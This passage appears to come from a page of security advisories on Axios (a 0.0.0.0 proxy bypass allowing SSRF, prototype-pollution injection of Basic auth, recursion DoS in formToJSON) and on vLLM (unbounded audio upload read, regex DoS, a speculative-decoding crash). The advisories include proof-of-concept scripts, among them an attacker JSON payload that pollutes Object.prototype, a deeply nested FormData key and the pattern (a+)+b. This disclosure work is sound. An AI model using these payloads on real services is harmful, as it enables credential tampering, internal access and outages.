shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF ` Phase 2: Docker E2E Reproduction A full 3-container Docker reproduction was created and tested: Proxy container: Simple HTTP forward proxy on port 8888 Internal container: Internal service on port 9999 (simulates sensitive internal resource) Attacker container: Runs the test script with Axios source mounted Reproduction steps: `bash cd /tmp/deep-e2e docker compose up -d docker compose exec attacker node test-ssrf.js ` Results: Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct) Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF) Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF) Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF) Phase 3: Actual Axios Client The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration: Axios with proxy: { host: 'proxy', port: 8888 } Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/ Result: Axios forwarded the request through the proxy instead of bypassing it 4. Impact Attack Scenario 1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain) 2. The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services 3. Attacker supplies http://0.0.0.0:8080/admin as the target URL 4. Axios sends the request through the proxy 5. The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080 Potential Consequences Information disclosure (C:L): Internal service responses become accessible Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE) Availability impact (A:L): Limited — depends on internal service behavior Likelihood High — proxy bypass is a common pattern in microservice architectures Medium — requires attacker control of a URL (not always available) 5. Remediation Code Fix File: lib/helpers/shouldBypassProxy.js `javascript function isIPv4Loopback(host) { if (host === '0.0.0.0') return true; // ADD THIS LINE const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); } function isIPv6Loopback(host) { if (host === '::1' || host === '::') return true; // ADD '::' // ... rest of implementation } ` Workarounds Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs Implement URL validation to reject 0.0.0.0 and ::` before passing to Axios

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios: Prototype pollution auth subfields can inject Basic auth

Summary Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}. Impact An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield. Affected Functionality Affected functionality: Node HTTP adapter Basic auth handling in lib/adapters/http.js. Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js. Requests where config.auth is an own object but username and/or password are absent own properties. Unaffected or not accepted as core impact: Requests with no own auth object after mergeConfig(). Requests with own auth.username and auth.password values. Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening. Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. Technical Details mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype. In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly: ``js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in lib/helpers/resolveConfig.js: `js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ` The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere. Proof of Concept of Attack Safe local PoC against published axios@1.16.1: `js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(http://127.0.0.1:${server.address().port}/api, { auth: {} }); }); ` Expected output: `json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ` The base64 value decodes to victim-user:victim-password-leaked. Workarounds Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values. Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> Summary After GHSA-q8qp-cvcw-x6jj / PR #10779 (shipped in v1.15.2) and the further proxy-side hardening in PR #10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype. When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against axios main HEAD (34723be, dated 2026-05-24) as well as the released v1.16.1. Details Three still-unguarded read sites on main HEAD: (1) lib/adapters/http.js lines 737–740 (Node http adapter): `js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ` own('auth') correctly applies hasOwnProp to the top-level auth key. But once configAuth is the empty object the caller passed (auth: {}), configAuth.username walks the prototype chain and picks up Object.prototype.username. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): `js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ` This is the exact pattern needed at lines 739–740 too. (2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver): `js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on auth, no hasOwnProp guard ` Same shape — top-level guarded, sub-fields walk prototype. (3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer): `js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ` This third site is already proposed for fix in open PR #10922 by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #10922 does not cover. PoC This PoC contains zero direct Object.prototype.x = y writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads, still walks constructor.prototype). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via __proto__ and is more common in real codebases than any named utility. `js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse({ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // auth: opts.auth || {} is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } makeRequest(http://127.0.0.1:${port}/api/widget).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ` Reproduction: `bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install axios@1.16.1 defaults-deep@0.2.4 node /path/to/poc.cjs ` Captured output (verified against released 1.16.1 AND against main at 34723be, 2026-05-24): `json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ` dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to victim-user:victim-password-leaked. The querystring carries ?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel in real chains (CSRF token, session cookie via req.headers, etc.). Impact Credential exfiltration via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. Outbound request-shape control via inherited params / paramsSerializer. With paramsSerializer polluted to an attacker function, axios will execute that function with each params invocation — same-process code execution from a pollution primitive. Amplifier framing is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without __proto__/constructor filtering, then uses the empty- fallback wrapper auth: opts.auth || {} / params: opts.params || {}." Both halves are very common in real codebases (we tested defaults-deep, hand-rolled merges, and several lodash-family utilities; many still pollute). CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). Proposed fix Two-line change in http.js, matching the proxy-auth pattern PR #10833 already established: `diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ` Same pattern in resolveConfig.js: `diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ` The params / paramsSerializer half is already handled by open PR #10922's own('params') / own('paramsSerializer') change — that PR should be rebased / merged. Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: GHSA-q8qp-cvcw-x6jj / PR #10779 — mergeConfig direct-key reads. Fixed in v1.15.2. PR #10761 — mergeDirectKeys in → hasOwnProp. Fixed in v1.15.x. PR #10833 — proxy auth.username/password sub-fields. Fixed post-1.16.1. PR #7413 — formDataToJSON defense-in-depth. Fixed post-1.16.1. PR #10901 — socketPath guard. Merged 2026-05-24. PR #10922 (OPEN) — params / paramsSerializer own() guard. Proposed; not merged. This report adds: regular-request auth.username / auth.password sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). Reporter notes Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`. I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. Threat model honesty: this is amplifier framing — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

Summary Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json. If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination. Impact Applications are affected only when untrusted users can control FormData key names that are converted through axios. Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json. The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour. Affected Functionality Affected functionality: axios.formToJSON(formData) Named ESM export formToJSON Default transformRequest behaviour for FormData when Content-Type contains application/json Unaffected functionality: Normal multipart FormData submission without JSON serialisation toFormData, which already enforces a maxDepth guard Axios versions <=0.27.2, where formDataToJSON was not present Technical Details The vulnerable code is in lib/helpers/formDataToJSON.js. parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth: ``js const result = buildPath(path, value, target[name], index); ` A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit. Relevant source locations: lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath(). lib/axios.js exposes the helper as axios.formToJSON. index.js exposes formToJSON as a named export. index.d.ts and index.d.cts declare the public API. lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData. The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard. Proof of Concept of Attack `js import axios from 'axios'; const fd = new FormData(); fd.append('a' + '[x]'.repeat(15000), 'value'); try { axios.formToJSON(fd); console.log('not vulnerable'); } catch (e) { console.log(${e.constructor.name}: ${e.message}); } ` Expected result on affected versions: RangeError: Maximum call stack size exceeded The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json. Workarounds Applications can reject or normalise untrusted form field names before calling axios.formToJSON(). Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required. Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData. <details> <summary>Original Source</summary> Summary An uncontrolled recursion vulnerability in formDataToJSON allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like a[x][x][x]... with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable RangeError. The inverse function toFormData already enforces a maxDepth limit (default 100) for exactly this reason — formDataToJSON lacks the equivalent guard. Details Vulnerable function: buildPath in lib/helpers/formDataToJSON.js, lines 50–82. buildPath(path, value, target, index) is called recursively — once per segment in the parsed property path — with no depth check: `javascript // lib/helpers/formDataToJSON.js, lines 50–82 function buildPath(path, value, target, index) { let name = path[index++]; // advance one level if (name === '__proto__') return true; // ... if (!isLast) { // ... const result = buildPath(path, value, target[name], index); // recurse — NO depth guard // ... } } ` The key is first split into segments by parsePropPath (line 17), which extracts every [segment] via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames). formDataToJSON is a public API consumed two ways: 1. Directly by consumers — exported as axios.formToJSON() (lib/axios.js:80), with TypeScript declarations in both index.d.ts:699 and index.d.cts:708, and documented in the API reference in four languages (docs/pages/advanced/api-reference.md). 2. Internally by transformRequest — called at lib/defaults/index.js:56 when the request body is FormData and Content-Type contains application/json: `javascript return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; ` Contrast with toFormData: The inverse function (lib/helpers/toFormData.js:118) enforces maxDepth (default 100) and throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED when exceeded. formDataToJSON has no equivalent protection. PoC Requires only Node.js and an unmodified axios v1.x install: `javascript import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js'; // Build a FormData with a single key containing 15,000 nested bracket segments const fd = new FormData(); const key = "a" + "[x]".repeat(15000); fd.append(key, "value"); try { formDataToJSON(fd); console.log("Not vulnerable"); } catch (e) { console.log(e.constructor.name + ": " + e.message); // RangeError: Maximum call stack size exceeded } ` Verified output on Node.js 22.22.3 against axios v1.16.1 (current v1.x HEAD): ` RangeError: Maximum call stack size exceeded ` The process crashes. In a server context (e.g., Express middleware calling axios.formToJSON() on an uploaded form), a single crafted request terminates the process. Impact Denial of Service (process crash). Any unauthenticated user who can submit FormData to a Node.js application that passes it through axios.formToJSON() — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name. </details>

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

vLLM: Speech-to-text upload size limit is enforced after full UploadFile read

Summary Current-head vLLM documents VLLM_MAX_AUDIO_CLIP_FILESIZE_MB as the maximum audio file size accepted by the speech-to-text APIs. The default is 25 MB. vllm/envs.py also describes files larger than this value as rejected. The /v1/audio/transcriptions and /v1/audio/translations routes call await request.file.read() before vLLM checks that limit. In FastAPI and Starlette, UploadFile.read() returns bytes from the uploaded file object; when called without a size argument, the route materializes the remaining file contents. vLLM then performs the compressed file-size check later in _preprocess_speech_to_text() against the already-created bytes object. As a result, the documented compressed audio file-size limit does not bound the memory allocated by vLLM endpoint code before validation. An oversized multipart upload can cause vLLM to allocate memory proportional to the uploaded file size before rejecting the request as too large. This is distinct from GHSA-6pr9-rp53-2pmc, which covered decoded PCM expansion after compressed input was accepted. This report covers compressed upload materialization before compressed-size validation. Technical Details The upload routes perform an unbounded read before vLLM checks the documented compressed audio file-size limit: vllm/entrypoints/speech_to_text/transcription/api_router.py: audio_data = await request.file.read() vllm/entrypoints/speech_to_text/translation/api_router.py: audio_data = await request.file.read() vllm/entrypoints/speech_to_text/base/serving.py later checks: if len(audio_data) / 1024**2 > self.max_audio_filesize_mb There is no route-level check of request.file.size, Content-Length, a bounded read(max_bytes + 1), or a streaming copy that stops at the configured limit before the full file is materialized. This does not appear to be intended behavior. vLLM's security guide treats request-controlled resource use as a security boundary: for example, requests that exceed VLLM_MAX_N_SEQUENCES are rejected before reaching the engine. The speech-to-text upload limit is documented in the same spirit as an API enforced limit, but the first vLLM check happens after the over-limit upload has already been copied into a bytes object. Impact Attack requirements: the deployment exposes /v1/audio/transcriptions or /v1/audio/translations; a speech-to-text capable model/task is configured; and the caller can submit requests to the endpoint, including any API key the deployment requires. An API caller who meets those requirements can send an oversized audio file. vLLM reads the full uploaded file into memory before applying the configured compressed audio file-size limit. This can create memory pressure or, depending on process/container limits and concurrency, terminate the process before the request is rejected. Suggested severity: Moderate, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5), CWE-770/CWE-400. The impact is availability-only. This is not a claim of code execution, data access, cross-tenant data exposure, parser-level multipart memory exhaustion, or persistence after process restart. Deployment body-size limits at a reverse proxy or ASGI layer can mitigate the issue before vLLM sees the request, but vLLM's own documented file-size limit does not currently provide that memory boundary. Suggested Fix Enforce the compressed audio upload limit before the unbounded read: Check reliable upload size metadata before reading when available. Read at most max_bytes + 1 bytes in chunks as a defense-in-depth guard against missing or unreliable metadata. Share the helper between transcription and translation routes. Add regression tests that prove an over-limit UploadFile is rejected without calling an unbounded read(). The important property is that over-limit compressed uploads are rejected before vLLM allocates the full uploaded file as bytes. Resources vLLM security policy: https://github.com/vllm-project/vllm/security/policy vLLM speech-to-text docs: https://docs.vllm.ai/en/latest/serving/online_serving/speech_to_text/ vLLM security guide, request parameter resource limits: https://docs.vllm.ai/en/latest/usage/security/ vLLM vulnerability management docs: https://docs.vllm.ai/en/latest/contributing/vulnerability_management/ FastAPI file uploads: https://fastapi.tiangolo.com/reference/uploadfile/ Starlette uploaded files: https://www.starlette.io/requests/ Adjacent published audio advisory: https://github.com/vllm-project/vllm/security/advisories/GHSA-6pr9-rp53-2pmc Request-parameter resource DoS precedent: https://github.com/vllm-project/vllm/security/advisories/GHSA-3mwp-wvh9-7528 Appendix: Affected Version Validated against current head: commit: 1033ffac2eccf986fdd880f4dee64ca3b22c63c9 described version: v0.22.1rc0-491-g1033ffac2e Known affected range: current head. It has not been determined the introducing commit or release range. Appendix: Proof Of Vulnerability The attached proof is a non-destructive static probe. It does not upload a large file or contact a running vLLM server: ``bash python3 attached-evidence/poc/audio_upload_size_precheck_probe.py ` Observed result: `json { "pov": "this report", "validated": true, "default_limit_mb": 25, "documented_api_limit": true, "routes": { "transcription_route": { "unbounded_upload_read": true, "early_size_guard_before_read": false, "chunked_bounded_read": false }, "translation_route": { "unbounded_upload_read": true, "early_size_guard_before_read": false, "chunked_bounded_read": false } }, "late_size_check": { "present": true } } ` Expected behavior: vLLM rejects over-limit audio files before materializing the entire upload into memory in vLLM endpoint code. Actual behavior: the route materializes the upload into memory first, and only then does vLLM reject the request as exceeding VLLM_MAX_AUDIO_CLIP_FILESIZE_MB`.

OWASP A06LLM04 · Model DoSOWASP LLM
Get guardrail →

vLLM: ReDoS via structured_outputs.regex compiled without timeout in xgrammar and outlines backends

Summary The structured_outputs.regex API parameter passes a user-supplied regex string directly to grammar compiler backends with no compilation timeout. In the xgrammar backend, the string reaches compile_regex() with no guard. In the outlines backend, validate_regex_is_buildable() blocks structural issues (lookarounds, backreferences) but provides zero protection against exponential DFA state-space explosion. Patterns like (a+)+b pass all checks and hang the inference worker. Root Cause backend_xgrammar.py:91 — no timeout: ``python ctx = self.compiler.compile_regex(grammar_spec) ` backend_outlines.py:299–330 — structural checks only, no complexity analysis: `python def validate_regex_is_buildable(regex: str) -> None: sre_parse.parse(regex) # AST parse only — does not detect exponential patterns _check_unsupported(...) # blocks lookarounds/backrefs, not nested quantifiers ` backend_outlines.py:64 — no timeout: `python oc.Index(regex_string, vocabulary.inner) ` Impact Denial of service — one request with an adversarial regex pattern hangs an inference worker indefinitely. Remediation Wrap compile_regex() and oc.Index() calls in a thread with a deadline (e.g., 5 seconds). Add complexity analysis to validate_regex_is_buildable()` to detect nested quantifier patterns before compilation.

vLLM has Remote DoS via Invalid Recovered Token Reinjection

Summary A frontend-legal multi-request speculative workload can make vLLM produce an out-of-vocabulary recovered token equal to vocab_size, convert that value to -1 when choosing the next live token for a request, and then feed that -1 back into the next drafter input ids. On Qwen3 GPTQ this reaches the worker-side drafting / attention path and crashes the engine with a GPU device-side assert. The same issue is reachable through the public gRPC request surface by sending a specific overlapping Generate / Abort sequence. Impact A remote client that can send public gRPC generation requests can crash the shared vLLM engine worker The triggering request sequence aborts concurrent requests and prevents later requests from completing until the worker is restarted In shared deployments, this is a service-wide denial of service for other clients, not just a failure isolated to the attacking requests The failure is reproducible, so repeated request sequences can sustain the outage Affected version Confirmed on vLLM 0.17.1 Earlier and later versions have not been checked yet in this report Repro model Official Hugging Face repo: Qwen/Qwen3-0.6B-GPTQ-Int8 Anyone wants to reproduce the bug with my PoC scripts should download Qwen3-0.6B-GPTQ-Int8 first Trigger chain 1. A legal multi-request speculative workload keeps structured-output state, speculative decoding, overlap, and request cancellation active in the same live engine. 2. During rejection sampling, vLLM produces a recovered token equal to the model vocab_size boundary value. 3. That recovered token appears in position 0 of the sampled speculative row for a live request. The same row also contains trailing padding entries equal to -1, but those padding entries are not the key fault by themselves. 4. The next-token preparation step treats the position-0 recovered token as the real next token for that request and converts that out-of-vocabulary value to -1. 5. The drafter writes that converted -1 back into the live next-step input-id row for the request. 6. The drafting / embedding / attention path later consumes that live invalid token and the worker crashes on GPU. Details Simple example The important distinction is: trailing -1 values in a speculative row can be ordinary padding the bug appears when the first live token for a request becomes 151936 == vocab_size, and that live token is then converted into -1 In simplified form, the bad transition looks like this: ``text sampled speculative row: [151936, -1, -1, -1, ...] ` At this point, the trailing -1 values are only padding. The critical problem is that the first position holds 151936, which is out of vocabulary and is being treated as the request's real next token. Then vLLM prepares the next-token buffer: `text next_token_ids: [-1, ...] ` Finally, that converted -1 is written back into the live model input ids: `text input_ids_after: [-1, 0, 0, 0, ...] ` The crash happens because the live next token became -1 and was later consumed by the drafting / embedding / attention path, not merely because the speculative row contained padded -1 entries. Trigger path in code 1. The workload is frontend-legal. The requests use normal SamplingParams features such as structured outputs, stop, bad_words, min_tokens, and streaming overlap. No malformed token-id list is required at the request boundary. 2. In speculative decoding, the rejection sampler can generate recovered tokens when drafted tokens are rejected. `python # vllm/v1/sample/rejection_sampler.py def sample_recovered_tokens(...): recovered_token_ids = torch.empty_like(draft_token_ids) sample_recovered_tokens_kernel(batch_size, max_spec_len) return recovered_token_ids ` On the verified Qwen3 run, the recovered-token trace shows recovered_token_ids[0] = 151936, which is exactly vocab_size for this checkpoint. 3. The speculative proposer then prepares the next-token row from the sampled speculative row. `python # vllm/v1/spec_decode/eagle.py def prepare_next_token_ids_padded(...): ... eagle_prepare_next_token_padded_kernelgrid return next_token_ids, valid_sampled_tokens_count ` In the verified trace, this step receives a sampled row beginning with 151936, followed by -1 padding. The important point is that 151936 occupies the first live token position for the request. This step then produces next_token_ids[0] = -1, meaning the live next token for the request has been converted to -1. 4. The drafter then rotates the draft input ids and inserts those next_token_ids back into the live input-id buffer. `python # vllm/v1/spec_decode/eagle.py def set_inputs_first_pass(...): ... self.input_ids[token_indices_to_sample] = next_token_ids ` In the verified trace, this produces input_ids_after[0] = -1. 5. The model-side embed path later consumes those input ids. `python # vllm/model_executor/models/qwen2.py def embed_input_ids(self, input_ids: torch.Tensor) -> torch.Tensor: return self.embed_tokens(input_ids) ` In the verified trace, this is the first point where the converted -1 becomes visible as a real model input. The bug is not merely that the sampled speculative row contained padding -1; the bug is that the live next token for the request became -1 and was written back into input ids. 6. After that point, the visible sink depends on timing and backend state. On the attached Qwen3 reproducer, the engine commonly dies later in the drafting / attention path with CUDA error: device-side assert triggered, for example under flash_attn_varlen_func(...). Local script breakdown repro_g4_recovered_minus1_local.py is a standalone local reproducer. It reads the Qwen3 checkpoint path from VLLM_POC_G4_MODEL or the built-in /path/to/qwen3 placeholder It creates EngineCore directly without any external helper dependency It submits one fixed multi-request workload that preserves the same overlap and speculative-decoding state needed for the bug It writes: request_payloads.json repro_config.json timeline.json responses.json error.txt recovered_chain_trace.jsonl recovered_chain_trace.jsonl is the key attribution artifact. It records the recovered-token chain directly from the standalone reproducer gRPC script breakdown repro_g4_recovered_minus1_grpc.py is a standalone public gRPC reproducer. It reads the Qwen3 checkpoint path from VLLM_POC_G4_MODEL or the built-in /path/to/qwen3 placeholder It starts a temporary vllm.entrypoints.grpc_server process It sends only public Generate and Abort RPCs It submits one fixed overlapping request sequence that preserves the same speculative-decoding state needed for the bug After the crash window, it sends one more public Generate probe request to confirm that later gRPC requests also fail after the worker dies It writes: request_payloads.json timeline.json server_command.json responses.json post_crash_probe.json server.stdout.log server.stderr.log Observed result Local repro typically ends with: a recovered-token trace showing: sample_recovered_tokens_return -> recovered_token_ids[0] = 151936 prepare_next_token_ids_padded -> next_token_ids[0] = -1 set_inputs_first_pass -> input_ids_after[0] = -1 embed_input_ids_out_of_range -> input_ids[0] = -1 CUDA error: device-side assert triggered a fatal engine-side failure gRPC repro typically ends with: the triggering gRPC requests failing with INTERNAL: EngineCore encountered an issue. See stack trace (above) for the root cause. server logs showing the worker dies with CUDA error: device-side assert triggered a later public probe request also failing after the worker is dead This demonstrates that the issue is reachable through the public gRPC request surface, not only through a local reproducer. Log snippets Local recovered-chain trace `text sample_recovered_tokens_return: recovered_token_ids = [151936, ...] vocab_size = 151936 prepare_next_token_ids_padded: sampled_token_ids_head = [[151936, -1, -1, ...], ...] next_token_ids = [-1, ...] set_inputs_first_pass: input_ids_after = [-1, 0, 0, 0, ...] embed_input_ids_out_of_range: input_ids = [-1, 0, 0, 0, ...] ` gRPC server log `text torch.AcceleratorError: CUDA error: device-side assert triggered ... vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause. ... Error in Generate for request post_crash_probe vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause. ` Root cause This is a speculative-decoding state-handling bug, not an invalid frontend token-id input bug. The root cause is that a recovered speculative token can become equal to vocab_size, then be selected as the live next token for a request, then be converted to -1, and that converted -1 is still written back into live drafter input ids and later consumed by the drafting / embedding / attention path. For the Qwen3 checkpoint used here: 151936 == vocab_size This value should be described as the model vocab_size boundary value, not as a legal token id. Attachments The attached bundle for this report should contain: repro_g4_recovered_minus1_local.py repro_g4_recovered_minus1_grpc.py` These two 